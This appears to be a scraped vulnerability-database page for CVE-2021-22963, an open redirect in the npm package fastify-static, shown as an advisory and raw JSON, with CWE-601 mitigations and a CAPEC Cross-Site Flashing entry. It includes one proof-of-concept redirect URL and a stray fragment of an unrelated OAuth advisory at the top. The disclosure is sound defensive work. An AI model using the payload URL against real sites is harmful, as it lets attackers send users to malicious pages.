"summary": "Ech0\u0027s OAuth redirect URI validation ignores path component, enables exchange-code theft"
}
GHSA-P6VG-P826-QP3V
Vulnerability from github – Published: 2021-10-05 20:24 – Updated: 2021-10-21 15:01Impact
A redirect vulnerability in the fastify-static module allows remote attackers to redirect Mozilla Firefox users to arbitrary websites via a double slash // followed by a domain: http://localhost:3000//google.com/%2e%2e.
The issue shows up on all the fastify-static applications that set redirect: true option. By default, it is false.
Patches
The issue has been patched in fastify-static@4.2.4
Workarounds
If updating is not an option, you can sanitize the input URLs using the rewriteUrl server option.
References
- Bug founder: drstrnegth
- hackerone Report
For more information
If you have any questions or comments about this advisory: * Open an issue in fastify-static * Contact the security team
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fastify-static"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-22963"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2021-10-05T18:55:33Z",
"nvd_published_at": "2021-10-14T15:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA redirect vulnerability in the `fastify-static` module allows remote attackers to redirect Mozilla Firefox users to arbitrary websites via a double slash `//` followed by a domain: `http://localhost:3000//google.com/%2e%2e`.\n\nThe issue shows up on all the `fastify-static` applications that set `redirect: true` option. By default, it is `false`.\n\n### Patches\nThe issue has been patched in `fastify-static@4.2.4`\n\n### Workarounds\nIf updating is not an option, you can sanitize the input URLs using the [`rewriteUrl`](https://www.fastify.io/docs/latest/Server/#rewriteurl) server option.\n\n### References\n\n+ Bug founder: drstrnegth\n+ [hackerone Report](https://hackerone.com/reports/1354255)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fastify-static](https://github.com/fastify/fastify-static)\n* Contact the [security team](https://github.com/fastify/fastify/blob/main/SECURITY.md#the-fastify-security-team)\n",
"id": "GHSA-p6vg-p826-qp3v",
"modified": "2021-10-21T15:01:19Z",
"published": "2021-10-05T20:24:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fastify-static/security/advisories/GHSA-p6vg-p826-qp3v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22963"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1354255"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fastify-static"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) in fastify-static"
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Use a list of approved URLs or domains to be used for redirection.
Mitigation
Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.
Mitigation MIT-21.2
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation
Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
Mitigation MIT-6
Strategy: Attack Surface Reduction
- Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-178: Cross-Site Flashing
An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.